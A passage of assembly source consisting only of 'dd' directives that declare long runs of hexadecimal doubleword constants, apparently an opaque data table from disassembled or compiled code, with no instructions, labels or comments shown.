		dd 0EF45E9CEh, 0B9003CF1h, 0B54BB2F0h, 77C1E1Ah, 6C6F15ABh
		dd 7FB88089h, 627C8654h, 0FB5BC200h, 9BC1A37Eh,	0F79D0080h
		dd 0EEBA4BF1h, 8F00C986h, 0ADE1E583h, 177101h, 554CF9E2h
		dd 3D42DEA5h, 20813A0Bh, 38DA00D1h, 0B8E2414Bh,	95170192h
		dd 14F97C8Eh, 2746E4A7h, 618D6401h, 56E9D502h, 6F70BC57h
		dd 37CB83h, 3F81E278h, 55F67F4Bh, 0F1920A00h, 0EFBB15A4h
		dd 0CA9B3928h, 7405A200h, 454D7E5Fh, 9968DD03h,	0F08AACE6h
		dd 6C7B687h, 0F18095Eh,	8500609Ah, 0A124E279h, 0C3AB4h
		dd 0B58012CFh, 0ED2FDCFCh, 0EEB17400h, 8C2BF932h, 78C460ACh
		dd 25B7ABF8h, 6D16B379h, 7E1C67D6h, 0F081201Eh,	1D11133h
		dd 4080E621h, 6F5D5497h, 0E5003F1Dh, 6C701F16h,	12C241h
		dd 73255E65h, 24E656F2h, 9ED70A00h, 0DA80C89h, 8B1E027Eh
		dd 56EECBDAh, 60316B61h, 8100C4F5h, 0A52CE454h,	7A03B6F8h
		dd 0A01F0077h, 41D33680h, 0F700A2A4h, 709D4A94h, 0A3220Dh
		dd 85722C8Eh, 0F601DB7Dh, 8C3FCE04h, 8091FF31h,	3440CA5Ah
		dd 7E860CE8h, 9E754Ah, 3147B83Bh, 18405542h, 9D01717Ch
		dd 4BA395C5h, 0D9CC2EECh, 79E41C9Fh, 4D0440CFh,	96DE3682h
		dd 0E6191A00h, 8FEC9A17h, 0C7D70025h, 0A46E1D67h, 200AB34Bh
		dd 0F8C88347h, 16CFA600h, 0D388Ch, 64AA1EFCh, 6FE9049Dh
		dd 2821B1Eh, 86AB40C0h,	0E557Fh, 8B783A4Bh, 0E074F1A0h
		dd 3DAEEA02h, 0C0FD9956h
		dd 3221240h, 7210CF8Eh,	0A5A0DDBBh, 370746ADh, 0A8CD667Fh
		dd 0E536AED0h, 344E09D4h, 1D006B06h, 23E1EAF2h,	89317903h
		dd 0C3AF04CAh, 0B7BFC8D4h, 991600F6h, 356DDD1Ch, 0A51D8DBAh
		dd 5840F8A3h, 0D331C873h, 38340046h, 700D9D24h,	0E00071CAh
		dd 21886584h, 3A9E8FFh,	0AEC91C0Bh, 0D08489ACh,	39CE8A34h
		dd 9929BB00h, 1DC3DCB4h, 43C2009Fh, 89276183h, 0C7747EC0h
		dd 6C55D400h, 0B799EF56h, 1E6F24D5h, 816D0025h,	27CB2024h
		dd 0FAF19500h, 13E0BBF6h, 47AA0035h, 0A15D4B2Dh, 500C608h
		dd 80EC9D4Dh, 0CF9659h,	2F79DCC4h, 0C9FEA185h, 0B9617700h
		dd 6AEFBAC8h, 71C10308h, 0DE160C5Fh, 0E0C07AC1h, 3D00B68Fh
		dd 0F79841EBh, 29B9BAh,	88F9A22Fh, 32171C8h, 0E015A131h
		dd 10C48C01h, 0BB983E4Bh, 2B7BC580h, 69998128h,	25D7A500h
		dd 0FA627A16h, 88273FE6h, 0CFCC9E00h, 691A3561h, 7A657600h
		dd 0FC6F92E0h, 41050FB2h, 24699ED6h, 668C3080h,	0DAE68328h
		dd 34C77800h, 205EDBF0h, 863C00C1h, 90C5FA2Eh, 52508AB2h
		dd 8B0087E1h, 478C81C7h, 2131102h, 4DDA98EFh, 88E0201Dh
		dd 9092953Dh, 0E9B34604h, 0CD05BD3h, 26D0F231h,	0D09757h
		dd 6218AB6Ch, 0E4038988h, 0D1E9674Dh, 3878C8E1h, 6FCA0042h
		dd 5CC7743Eh, 0BC2EC3EFh, 8A1D0DDCh, 6DF1B180h,	2C30F8h
		dd 23408EF5h, 425391FEh, 0FD08848h, 67D360A4h, 75C0E3A9h
		dd 0FB09E1h, 79DE57E0h,	88CA629Bh, 0B64EDA00h, 0D6C96B16h
		dd 39F70041h, 49F0B48Ah, 0BE073AE3h, 5FA4C20Ah,	299FA1A0h
		dd 11C7A6Ch, 94110BB2h,	0C899AC4Dh, 0A400CC7Ch,	0C5A3B533h
		dd 1D5940CEh, 0C0047F61h, 0DB7A11CFh, 34007296h, 0F99D8CA1h
		dd 99A410h, 756F3CCAh, 42F33AFCh, 5C0524F4h, 0ED9AAA62h
		dd 8CD8880h, 0F054007Dh, 3F77F464h, 175823BCh, 780B0212h
		dd 0C84FB3DAh, 50EBBCh,	2ED2449h, 8B89E15Ah, 18411A00h
		dd 0DE17E233h, 0B61F00A4h, 1C8A6551h, 567A4A7Dh, 9D33D403h
		dd 0C0C18981h, 4BC7A8h,	15EA511Ah, 0BC20F306h, 0E68DF500h
		dd 0B92C72FEh, 0DC21CC3h, 7EC4008Eh, 665257A4h,	595BD00h
		dd 0A83AB91Ch, 8B093B1Eh, 0DD017C58h, 5B145153h, 0C7C8C839h
		dd 0BF6BAF00h, 6259098Eh, 2F7E00B4h, 74E0DF3Fh,	5B00B1FFh
		dd 9F65C0F8h, 502630h, 7FBA7EB5h, 24B34D37h, 2D004BE6h
		dd 81478011h, 0CD8915h,	0C3274C2Ah, 44963EE5h, 9E1FC200h
		dd 534B23C0h, 0FCBE0063h, 93C80AEBh, 0D6126F0Fh, 0CC078234h
		dd 0E340B4EDh, 0E5F4E0h, 3106F858h, 0B874A2F3h,	0D0CD1C00h
		dd 12E9C28Dh, 4E7602CBh, 0BD054719h, 6FF77CC3h,	2F225AA0h
		dd 0E8032331h, 0AE8CAA80h, 0F79E84Bh, 2A4C0036h, 18287EB0h
		dd 21000153h, 0D5AE2F74h, 3E8EC29Bh, 8080C34Eh,	1CC625FCh
		dd 0B15C0B45h, 0DC4254h, 0DC06F9ECh, 9118CAh, 0E7F7C4E6h
		dd 536D0D4Fh, 59008070h, 4CBC15EFh, 5A0A6Ah, 1A22ACE4h
		dd 68640991h, 94615200h, 7533C3B5h, 7A7CC0h, 0D3BF3981h
		dd 79E9B2F7h, 0BB200400h, 7F22ED13h, 9C814F3h, 7E78E04Fh
		dd 0C7300F2Ch, 0D50004FAh, 1E32288Ch, 9C00AEE0h, 7DE23A8Eh
		dd 924D3Eh, 39B0CB33h, 0E70A3F69h, 2DBB9C0Eh, 77407E34h
		dd 0F7AB8207h, 0ACF13D10h, 0E08C7980h, 0FFBBC603h, 24B6F300h
		dd 86A64268h, 0CF190040h, 0B7CEB52h, 30B8EDEAh,	362BD300h
		dd 0A7F560F9h, 4EDC00A1h, 0CE064F07h, 0E4001DDFh, 0AD8F371h
		dd 1CA2B89h, 1B81533Ah,	855EE243h, 14406758h, 0BBB267C0h
		dd 0D83726EAh, 0A7A0815Ch, 0F0F3C49Eh, 7805FA91h, 0E29912ABh
		dd 73EF9880h, 90B27BE5h, 5C7BFEB9h, 4D00ECBCh, 54AD828Ah
		dd 8D63E581h, 90A6F710h, 87F3BBh, 66309857h, 8164452Fh
		dd 0C4D20700h, 5B1C6B0h, 9A2400EAh, 32CC3B80h, 0DF3865AFh
		dd 1448007Ah, 0C94AC021h, 0FEEB00D5h, 0D7F5E0D8h, 9A0008AFh
		dd 0BE21A636h, 2CC58E23h, 78C5EFBh, 7306040Bh, 113C5A33h
		dd 731D007Ch, 8F25E29Fh, 0E1F70009h, 0D83F56DAh, 2CF80249h
		dd 5145F200h, 1F23B627h, 0B4AE59E3h, 0D30D6A07h, 0A180B3A0h
		dd 6D450ED8h, 54282460h, 4B57F42Dh, 3D0C5E27h, 131D0403h
		dd 0F3AB4B4Fh, 8360BFA1h, 0E9A4E050h, 0EBB790F1h, 89B80065h
		dd 0B1EC4D0h, 0DE005069h, 6F3A213Eh, 70691CBh, 82EBDAD6h
		dd 47CA23B0h, 457E34D8h, 6F8C7200h, 0F73F2278h,	83360002h
		dd 69A8A2DFh, 93004D92h, 19BD3EA4h, 3FB87741h, 67002430h
		dd 0D9D2E6EFh, 0C1002B13h, 0FF599C6Fh, 70956D73h, 9A270CB1h
		dd 22F9B017h, 0AD972400h, 54CE8541h, 510200E5h,	0CD64B7C4h
		dd 530FF92Fh, 92EAA6AEh, 0DEC0961Fh, 0C6FEA209h, 13DF0F6h
		dd 9AA6D170h, 0BBB7FAADh, 2CD90928h, 0DCA8407Eh, 0D1AA001Ah
		dd 95BA9CCDh, 531F6E85h, 0EBC002E7h, 9FD4AE3Fh,	4CE01406h
		dd 0BF00B0ACh, 5E85974Eh, 28C1E43Ah, 0D0262F21h, 4479841h
		dd 0C02CF170h, 7496A278h, 0D1D04DC9h, 3844CE1Ch, 1B9E219h
		dd 0CBE3C8F2h, 8473A222h, 0C0D11498h, 9EB38701h, 61C085D9h
		dd 103416E3h, 41875C68h, 0F627F0ADh, 664C4701h,	0A5825650h
		dd 0A1169289h, 0C60A1C20h, 89F6C449h, 0E8AA8300h, 0E270E9F9h
		dd 726D0C1Dh, 45B1BC42h, 121FCD00h, 246A36A3h, 6407A92h
		dd 0E8475427h, 433051D9h, 35F13115h, 0F82F0058h, 9E2074D6h
		dd 0EA0204E9h, 15ADD76Dh, 8AC8E0C6h, 0DB83188Eh, 941878EBh
		dd 0A447D901h, 0A19FC812h, 0D4ADAE86h, 8C98E856h, 98CA0E28h
		dd 70D23B00h, 0B52F9B03h, 5CE8008Ah, 0CFF3A06Eh, 0AE0FE260h
		dd 0B8DE7440h, 28559779h, 732450C1h, 1A428095h,	0AF4C6103h
		dd 0D0CDAD8Eh, 0AEF18C7h, 0DB66DD1Dh, 30B085C0h, 23F0007Ch
		dd 0C72C7714h, 9EFD2A00h, 5D31D706h, 384E6372h,	0B807CC3Ah
		dd 481A8022h, 379CC620h, 0D20E0027h, 0D0EA0697h, 4C0CDB0Ah
		dd 20A63042h, 0E61E7A4Ah, 203B531Fh, 9601D182h,	1295B718h
		dd 40D5E8BAh, 0ECA2779Ch, 61708EDAh, 948AF32h, 177C4932h
		dd 15BEFCCh, 7C553E01h,	484453D7h, 0B10042D8h, 14081D20h
		dd 0FC835706h, 0C01AE801h, 204BC021h, 3900E015h, 4861A24Fh
		dd 0EF91B4h, 272DD58Eh,	69C8C46h, 9719A900h, 0C975052Bh
		dd 40CC6D31h, 4C30CE70h, 8100820h, 0A76401BCh, 21D20056h
		dd 0DBA394C8h, 0EB898C00h, 8EABBB97h, 5D445862h, 0C72D9C01h
		dd 459DC0F6h, 0A5BC08C4h, 16B50B82h, 17E0833Ah,	25C906C1h
		dd 309D2197h, 1009178h,	0ADBF5D23h, 5CE0EF56h, 0F52CEC54h
		dd 0F64B00E6h, 1F034E6Bh, 0E2086362h, 5C7440AFh, 87401DD3h
		dd 26A043F2h, 78B1CABAh, 0E00A70B6h, 0CC00A34Fh, 49A99B7h
		dd 63441C08h, 5D24C9A9h, 0A405E400h, 0C4049CCBh, 0AE0D4623h
		dd 72AAA090h, 2D480197h, 0CBA62466h, 0CF08986Ch, 13656D21h
		dd 516F59Eh, 88277478h,	0A6056018h, 892CA2D0h, 50CE840Eh
		dd 0E68D1D04h, 1AA4C051h, 49000BEDh, 4803D1BDh,	492CD8A8h
		dd 0D0021070h, 2DE8B018h, 0F0007442h, 5D15A07Dh, 5C8550C5h
		dd 304EE422h, 1C1120B0h, 0BE889C08h, 2046C387h,	4BD50BCh
		dd 1AD260D6h, 0CAA0A06Ah, 0D5D7803h, 3E122CDAh,	1D12B589h
		dd 496C30EBh, 81106DEFh, 5CD00189h, 0EF511600h,	0F8F9F686h
		dd 0D92490Ah, 9809813h,	0C2A26426h, 0A7B200ADh,	6C80738Bh
		dd 2E00409Bh, 8FD524A0h, 34582748h, 990C3BFh, 4C85859Ch
		dd 8B095F9h, 10C07C10h
		dd 21F64D5Ah, 0E7914FFBh, 28B9797Eh, 4B24787h, 534D61FEh
		dd 0DD4C905Dh, 0E880A17Eh, 0CC8E0AFh, 0D6884D63h, 913AFC20h
		dd 600EF0D4h, 415736DFh, 379B7381h, 0D67860h, 8EA20E0Dh
		dd 3F27CE51h, 44E21A26h, 10C5EA0Ch, 0B70140BEh,	6DD0F60Ah
		dd 802E833h, 405F4A8Dh,	9CEBF04h, 5215B40h, 9C42ECC0h
		dd 18D81D0h, 1E0FA54Eh,	6C310EE6h, 0BF6CFB41h, 1461B7E4h
		dd 90AEE42Ch, 8374C724h, 50A3E618h, 0E844C091h,	31E4DB2Fh
		dd 5A209F67h, 0DE89EA1h, 349DD850h, 183FA1Ah, 1E305084h
		dd 26605E98h, 99D03010h, 60BA2723h, 7D57D0E4h, 0D912EBB6h
		dd 2054201Ah, 127210A0h, 0A48CDEC3h, 32EC06FBh,	51612010h
		dd 948029Eh, 2C620928h,	0C02483B3h, 4AC03D80h, 181A5B14h
		dd 55A1D053h, 0DD0C22h,	4A581779h, 1F0BF06Eh, 24729600h
		dd 9AEB5610h, 1174919Eh, 0EF4C801Ch, 0E151816Ch, 9D880C0Ch
		dd 0FEEF0757h, 7060AE23h, 0A1CA90D2h, 0D0190805h, 0F4007579h
		dd 16115473h, 9EC90039h, 0EB18784Bh, 0E8D2A988h, 0E0558005h
		dd 449814C4h, 6869F823h, 1D818E4h, 16C6F9E6h, 0BCD9805Fh
		dd 1B3685E1h, 610800CFh, 8147F1D4h, 6DEC2EFFh, 2A28DE49h
		dd 6A27948Dh, 0A01BF81Dh, 0BE41974h, 42BD5703h,	5692348Eh
		dd 0B5D8011Ch, 20A6D0C9h, 0FD489A20h, 0A0CD182Ch, 0C35E1648h
		dd 9862EE81h, 0AF346DD0h, 0A39FCC02h, 406924F2h, 297CD6Ah
		dd 771A79D1h, 58614601h, 1880332Dh, 0C0883E6Eh,	0DAB825CAh
		dd 4BB10805h, 0A417B5BCh, 49893391h, 6A09480Fh,	14315805h
		dd 0E326647Ch, 0EAA80F28h, 965445E1h, 0BF809802h, 0A0A77D21h
		dd 4DDE75E4h, 0AB1D94A1h, 625D2ACh, 51A917D0h, 21AF4335h
		dd 0F9F2A983h, 0A9BE9FB8h, 0DCA55704h, 0B09090FEh, 40708798h
		dd 0E8310490h, 90E0B162h, 0C41E0828h, 1FD87EC2h, 1F91C800h
		dd 0F517388h, 0BA3BD838h, 9EF09C07h, 8CDB6174h,	0C0FF59C0h
		dd 0C4999C5Ah, 6028618Eh, 59B7BA2Bh, 7E29004Ch,	669C48C0h
		dd 0FE00C3B5h, 1139EEE3h, 1255E638h, 3B0AE1Bh, 0F58227E4h
		dd 4547E001h, 0BAA56066h, 4AF58EE9h, 2E0862E2h,	0C0650F88h
		dd 3CC2DEB5h, 5B70E97Dh, 456000A6h, 1C278956h, 0B0006C7Bh
		dd 408144Fh, 0F2406h, 0D4453C48h, 0C720FB7Ah, 91CC8212h
		dd 34F29003h, 0B29CB8E6h, 0C07402BAh, 468423B0h, 0F902B760h
		dd 0E1631A07h, 0C797ADE7h, 4412C30h, 0F1990337h, 0EC79EADBh
		dd 97004079h, 69009A2h,	2CB52Eh, 81B103EBh, 28630EDBh
		dd 0D9D020FBh, 1CF3E25h, 0AF15828Ch, 50234062h,	0B15A1C01h
		dd 0CE189BF6h, 795EAC40h, 0B91E0085h, 0C9FC8B9Eh, 0F500C5B5h
		dd 0DACEE415h, 1D724EAh, 0D6CA9D3Ch, 33AE3D43h,	12741078h
		dd 22BA64CCh, 0E0A8764Ch, 29E7C1Fh, 9231BC86h, 10E7F504h
		dd 0BD609044h, 0C0B081AEh, 24548A2Ch, 0F77CD200h, 16E73EDAh
		dd 5C894D55h, 0D044C050h, 0C00D72F3h, 6C140B00h, 69FFBC63h
		dd 6226043Dh, 988F95B6h, 0EC0BA3E8h, 9CB98167h,	3A599820h
		dd 0AC845AEFh, 0C00F31DDh, 9F668714h, 0A6C72D00h, 0D7069C90h
		dd 9AAD392Ah, 8001C213h, 47189E2Ch, 62275002h, 6448E090h
		dd 0EDD246Ch, 8D9400C4h, 2F20425h, 729E0507h, 442360B0h
		dd 23200122h, 6A1D8D13h, 11204E9Fh, 894AE8Eh, 0AF43E2E8h
		dd 1C2E5D0Eh, 0DA16D962h, 0A0E5E0A3h, 35EBFDD0h, 73E80A00h
		dd 0F8EDA8D1h, 1718E645h, 3A881DE9h, 3E22380h, 0BFC08C31h
		dd 81AD16D1h, 62F31571h, 17F16BBCh, 3CE07BC4h, 39864DA3h
		dd 290216B6h, 66683604h, 7CACAC5Ah, 0C041FA9h, 10010416h
		dd 3182008Dh, 0A66FA710h, 30EAE7C8h, 4779420Bh,	968500AAh
		dd 71A829CCh, 3C570B2h,	5831D22Ch, 3DD06C17h, 0BB006870h
		dd 0E15EBE7Eh, 1A43A5Ch, 3E33161Ch, 0D8645740h,	0B3077AC3h
		dd 18084C14h, 1F37E6A0h, 0DD890045h, 0C57EAE8Dh, 3C1EF765h
		dd 0DE005C5Eh, 0CFAD75A2h, 6AA80069h, 77F2DD88h, 0D03E6271h
		dd 0BA8E0112h, 441B1A21h, 0E6ECE340h, 27920001h, 4A1F24DDh
		dd 2D00CA70h, 786B671Eh, 0A150EBh, 2058E7D0h, 0CD0F9FD4h
		dd 60428C03h, 8F408F3Fh, 275B6EF0h, 0B4F900E4h,	0CB79EC15h
		dd 6438BD8Bh, 0BA0E802Bh, 35C60C77h, 0C33600E5h, 99667681h
		dd 4000084Fh, 4272B604h, 0E32ADF8h, 0EF89F277h,	92D231C1h
		dd 0A27670FAh, 7A6F000h, 5533D603h, 2C830045h, 8139716h
		dd 52004D2Ah, 94880ACCh, 3F68B399h, 0FF0E1819h,	92E32Fh
		dd 0E8B5B7D2h, 1C027FA0h, 0C7F4404Eh, 0F865E06Bh, 93C8003Bh
		dd 103D8430h, 0CB3A2D1Ah, 44497Ah, 0A1645479h, 772973ABh
		dd 0C1EA14E9h, 8E04CC12h, 40502B76h, 48ED3769h,	9925036Eh
		dd 0D697E18Ah, 5D6286E0h, 5F7C300Ah, 103FE60h, 0C03EE68Fh
		dd 18470Ah, 1EDA3420h, 0F5641061h, 3CC8EF24h, 0D3E27380h
		dd 90EC3Fh, 0DBABCC12h,	0D6111E27h, 2EB64E00h, 7ACEF16Ch
		dd 0F0917406h, 58DD7EFAh, 0A538A024h, 46900F7Eh, 0CBC733D3h
		dd 2F61B0D1h, 4900DF5Eh, 0DBB63E79h, 98CEFh, 8AEBB893h
		dd 0A5042D67h, 0CF92D400h, 0ADCC9ADDh, 0DE6F00ABh, 2F4516FAh
		dd 513E07F6h, 0BF5C8025h, 2A560FCFh, 0F0F700EFh, 4D996CAEh
		dd 9100C1ADh, 80D94BA5h, 0FC5D513Bh, 7E47009Eh,	8BEB64DDh
		dd 0AF008ECAh, 9302C17h, 9278F4DAh, 559300D8h, 7D29A449h
		dd 560C99C0h, 60866DADh, 5253004Bh, 0BB0872AAh,	5E124314h
		dd 60084865h, 9081402Ah, 221F964Dh, 0E9801129h,	0BDAB8988h
		dd 1EB3E8F6h, 4F4608D0h, 0CD809FE8h, 0E06CD532h, 0C91C94E8h
		dd 0D8C78F42h, 19739203h, 23EAF829h, 0FF900197h, 9AD2C1C7h
		dd 6FF0E8B4h, 27911713h, 3F0C1840h, 0B8F9123Ch,	5CF3004Ah
		dd 8DC27F1Ch, 0D2EE9A1Bh, 20B4D4h, 0F3AB4996h, 0D7F8A4h
		dd 0CB8253D3h, 0E352680Ch, 7014EA0Fh, 0F80200D8h, 0F3E77FEh
		dd 7BFFF93Ch, 0B26DFC80h, 6B006561h, 5AF4C826h,	9B5C71h
		dd 0D97AF2A3h, 0D70B2596h, 0F7AF3518h, 7EF090h,	553A8E56h
		dd 2DF6FE7h, 73683Ah, 0B65D2DD9h, 5A1A32h, 9E3F6340h, 368839EBh
		dd 65626B00h, 7680D10Ah, 0C27E75h, 0EA8DB9FDh, 9FAE3A48h
		dd 0BEBC3350h, 8FFAD100h, 4E703B55h, 0F5853A12h, 0BBA04489h
		dd 8F4AA0A1h, 3B2ACC7Eh, 0BFA40207h, 0B760DC98h, 3EB555h
		dd 12DAFCA8h, 2B0B361Dh, 952258C0h, 0A4EFB79h, 0C920F848h
		dd 2E4087F4h, 0AF6EE015h, 90F9D5Dh, 0A096D197h,	0F5E504C8h
		dd 630B0B7Dh, 328087D9h, 0D8D178B2h, 0DAFA7AFCh, 93C46E50h
		dd 9DF77F00h, 0E823D219h, 0C12388Ah, 0A866AD80h, 9E740301h
		dd 13C21400h, 5C490A0Bh, 3E59009Dh, 0D6B3AB39h,	0C9006119h
		dd 4FAF923Fh, 387355h, 0E926715Bh, 1BF65C43h, 0F0B02228h
		dd 65B49500h, 7999037h,	34B8005Fh, 91804AEDh, 2913794Dh
		dd 0C00046BEh, 899848Dh, 85E10024h, 7397C42Ah, 31D3365h
		dd 138071F0h, 0D228AB53h, 0CD063908h, 85A5948Fh, 6F6ED640h
		dd 35000907h, 0BB03585Fh, 73E7C2h, 0E3BA82DCh, 0DE8F05B7h
		dd 8BAE3F00h, 7D8EDB16h, 9C240095h, 4C38D86Ah, 0D00CEB4h
		dd 0ACAF6143h, 0E7D38Ah, 0C45B4BA8h, 0AB22B690h, 811EF900h
		dd 16A631B2h, 45FE001Dh, 0C1732F04h, 0E92CA503h, 624EDA8h
		dd 0A029A00Bh, 497E7900h, 149A98h, 2E1197F2h, 5EA3AAE9h
		dd 0AE25F000h, 83A9314Ah, 538700BCh, 543A76CDh,	45008DA1h
		dd 0DE48F3B7h
		dd 0F8903F12h, 0A5740E69h, 94005D39h, 0E3294AECh, 0F827F13h
		dd 3CC5600h, 2CDB8A7Ah,	8A783Ch, 0EEFF7504h, 4B00B949h
		dd 0B85DFE96h, 1CCC593h, 0A315FDB4h, 0C0B08966h, 0D1137432h
		dd 0CC4040DEh, 29FE97CCh, 0A8B100F6h, 563B4D5Eh, 89B0EF99h
		dd 910B8003h, 0D8A03188h, 0FEF665F9h, 23CE0116h, 6CAC638Dh
		dd 48BFC9Ah, 0F900BA71h, 0BE50BD72h, 4B3BCEFh, 6D1E9536h
		dd 2BBC3Bh, 0A351B26Bh,	1C5A0BD9h, 4093EEE0h, 8F952CC3h
		dd 2FF8EA24h, 83CD5200h, 893A1685h, 0B81D1D6Eh,	4BD52D5h
		dd 0D1E9C758h, 60A45B50h, 9C058CA4h, 0F7D26BBh,	5687A1C0h
		dd 8EE2F1h, 13B2BD8Dh, 328FE799h, 0B04C3B0Bh, 0ED1420B5h
		dd 873790h, 9E931135h, 0FCA37026h, 0B485E501h, 0BAE65AD9h
		dd 27E0F921h, 49549021h, 0FF3CF0ABh, 7D9A8481h,	0EC960411h
		dd 0CF005E4Eh, 7CBEF3E8h, 3E5A81h, 0EA136D18h, 0F87390Ch
		dd 0F2E22601h, 0BD9DB4DCh, 4E4570h, 2AD2CD62h, 1B7E317Ch
		dd 8026A00h, 0FADE4CBh,	0D5AEA0ECh, 37C100C8h, 0B52D29EEh
		dd 0CF00626Ch, 0F538F6A0h, 14CA33h, 2C90C5D2h, 7AB5E892h
		dd 8A66A00h, 97AAFA28h,	39E103C7h, 85E4491Fh, 7A3498E8h
		dd 0B0520100h, 0C81C0FA0h, 181100F3h, 30399AEFh, 0E60092E8h
		dd 0F922CD75h, 18E4806h, 73BC527Ch, 0C71361B9h,	2F5F0CD8h
		dd 2B274000h, 0F220B0D5h, 30BC7C5Ch, 4369052Ah,	0FC0E8AB8h
		dd 0FE524924h, 0F81845C0h, 0A2E1C2h, 0BC75938Dh, 0FEFB42Ch
		dd 0C3A06700h, 5810560Ch, 47BF1308h, 1D92008Fh,	97EEA5D7h
		dd 0B4E37624h, 288D300h, 989EBBh, 99C562ABh, 0AFB146AAh
		dd 93C28C0Eh, 3AE1A02Eh, 1D309CEh, 24C3A30Dh, 0E498A4C4h
		dd 6E3E8744h, 0E7731E4Eh, 0AC51200h, 0FE6D7E76h, 937518D9h
		dd 7464A4D0h, 0D3B3A2C0h, 530F47h, 0BF552EEDh, 0D86DD158h
		dd 0E8FC5E01h, 0E912F226h, 9E9BF0E3h, 61981C36h, 0C7584330h
		dd 499014D1h, 71000DE0h, 0E231A399h, 1D0B402Ch,	0D0208Bh
		dd 0DC6E2F89h, 600309C4h, 0A34E93A8h, 8113E864h, 7B20F788h
		dd 0E5E0007Ch, 2DCA363Bh, 0D8A110EBh, 0F32AD8F1h, 0E6CAB03h
		dd 9842405Eh, 5035052Fh, 4AE459h, 0B2904347h, 0F3316D9Ch
		dd 0C01EE71h, 2FCC86F0h, 0EBD8098Eh, 394B0288h,	76B4156Fh
		dd 0C0006072h, 5052A1E8h, 0E8F97AFBh, 0A6750BA0h, 7080A56Ah
		dd 0A279545Dh, 0F3827C06h, 11BEA7h, 0EBEFECD8h,	5E40F7D6h
		dd 2900DB7Ah, 781650Eh,	9C045AD4h, 3D470940h, 308E45Ah
		dd 831CB055h, 0C9C60D8Dh, 21B6F7E7h, 0BC710592h, 5E3D28h
		dd 2C7F3751h, 3BC411D8h, 991F57E0h, 8016C321h, 0DFB894C5h
		dd 3E00AD32h, 779AE540h, 65C3D83h, 51D67C92h, 61054827h
		dd 3948AEE3h, 0A69F441Eh, 11A7E90Ch, 8F85004Bh,	0D42216F8h
		dd 80B1D01h, 0EBE11F3Eh, 0A19E9140h, 0B38C522Eh, 7CCBCA54h
		dd 1918280h, 0EDE167h, 0EFE981DCh, 41AB38DDh, 4488904Bh
		dd 157274h, 3F8701AEh, 1F61E2B4h, 6C900401h, 8FC3C691h
		dd 1D761CF0h, 81AE16C2h, 31C1B5E4h, 20DECCE7h, 8930A801h
		dd 757F67Ch, 5B16AF8h, 0A5F2DD72h, 4DC4F4E1h, 976D048Ch
		dd 0F27E2D4Fh, 64C0DD7Ch, 1A373397h, 14F21680h,	59B0C1A8h
		dd 0BD34E8C3h, 612A10C5h, 0FEB124E3h, 5F620C23h, 20A44E47h
		dd 227E2E00h, 0BC018DAAh, 86E09876h, 63E4C175h,	0F84E091h
		dd 4B4D0244h, 0C4886C6Ch, 0B8054A41h, 9BA168B7h, 3D9A60A4h
		dd 0BC203007h, 53728918h, 0E2C54E2h, 0EA817075h, 80B4300Ah
		dd 38D2C070h, 3A787B7h,	3FE995B5h, 6E86A7Eh, 4700D58Eh
		dd 18971D9Eh, 69349Bh, 28242C5h, 5753A567h, 0E2D13200h
		dd 22B07AADh, 709200B5h, 0BDEAC3FBh, 9C77FD21h,	84DAF0E9h
		dd 92B4D21Fh, 0EED9A6C5h, 333180Eh, 0F518BA75h,	1EE82B80h
		dd 6AA000F6h, 1D2B9698h, 5007D38h, 2AC48ABBh, 82089h, 0A8FCEB79h
		dd 0E41C7321h, 27536000h, 7EE8A768h, 93192920h,	3C42C014h
		dd 190FFBBCh, 0D01E9725h, 4A6C92F0h, 0D2691A00h, 0C8112B40h
		dd 0CE5900D0h, 855F6B63h, 0D8F8AAC3h, 92EC1C08h, 0CB3AD868h
		dd 4C24900Eh, 74B22A01h, 0F63A8D58h, 956503AAh,	7ECB5EFEh
		dd 0D7C1BFA8h, 2905D97Ah, 0D5283221h, 0E23438h,	0EBC4BA22h
		dd 4C2511F9h, 2A5820ACh, 8BAA0AFDh, 0B0734479h,	1469069Dh
		dd 0E0FA4EFDh, 0C03F058h, 57FF7AD2h, 5E675098h,	8DC3D518h
		dd 5D49220h, 5AC85878h,	0C1F400FFh, 0F976503Ch,	0D0FEAE0Eh
		dd 0A8ADA02Ch, 6465D90Ah, 91DC74A1h, 0F0AB5510h, 0D400DA02h
		dd 90C8F4Ah, 93EC0BDh, 74AEE96Ch, 1DF6B103h, 21B2BEE0h
		dd 0F71E3Eh, 7B647FFCh,	607A45AFh, 18FB882Eh, 3C928B5Eh
		dd 0F79D1F00h, 0A09E89F4h, 676300FCh, 7005D661h, 8C095875h
		dd 8ECA2E10h, 44D9232Ah, 2400E506h, 34123A82h, 2807F8D8h
		dd 0EA8C65CFh, 0FEB9C10Eh, 0F642826Ch, 354F8240h, 80D7033Fh
		dd 0B0280902h, 7B40D3h,	3884DE75h, 5243E016h, 835AB819h
		dd 45B5B10h, 73312EECh,	0BEDB1028h, 0BB7DDCh, 8F54DAE5h
		dd 0DF5AAE38h, 294E8300h, 5B2A827Bh, 79F6325Ch,	0BF105E29h
		dd 97E1407Bh, 26D9EE45h, 11556211h, 5188D718h, 0AC84E9E3h
		dd 46087CD2h, 90E87047h, 51858FBFh, 3C84887Eh, 20A2B100h
		dd 5669B975h, 9DBE000Dh, 74BB9C7Bh, 731F1481h, 0A6404C8Bh
		dd 2FF2671Ah, 25C11E29h, 1E003913h, 82C23C6Bh, 4197626Eh
		dd 292014BDh, 657F91h, 93CF0A2Ch, 6DE2FDFBh, 0B747D026h
		dd 5316CD26h, 0EF0EA700h, 0AC9EA9h, 4DCE0D31h, 1A763D6Fh
		dd 603A0100h, 6D8F7E1Ch, 1E90008Bh, 56A7450Bh, 0AC01582Dh
		dd 0BC085A6Ch, 4ED09D02h, 0E21E03AFh, 411C24A8h, 0B9098B80h
		dd 0CE00A0F6h, 8C277C44h, 0D33962h, 898E97ADh, 848C37Eh
		dd 0A09AB600h, 68E9D959h, 79DC0117h, 903B437Fh,	2AA8C86Fh
		dd 8FE4F60Ah, 5A00FC80h, 47307573h, 0CFED0798h,	0C0A6813Bh
		dd 0D1F45C6Dh, 0B6EFC200h, 0C12DCCD0h, 0CFF8003Eh, 0BC1E7A89h
		dd 0C3007790h, 19686EE1h, 0BEC5Fh, 0C454A041h, 0AE4C1BFBh
		dd 0C90F85EAh, 80AB4887h, 533FEF0Fh, 0F5953DF8h, 5D030075h
		dd 6D8CC019h, 48901E96h, 4394AF0h, 14B3802Ah, 0CA12E7F5h
		dd 81FD3B2Eh, 0B1F8A701h, 0EC76E36Bh, 531DB49Ch, 0B800771h
		dd 720FBB36h, 7C78000Ah, 62DD3C80h, 0ABF2262Fh,	99E63800h
		dd 660339CDh, 2B4C0054h, 3486EA7Dh, 41028163h, 8A883580h
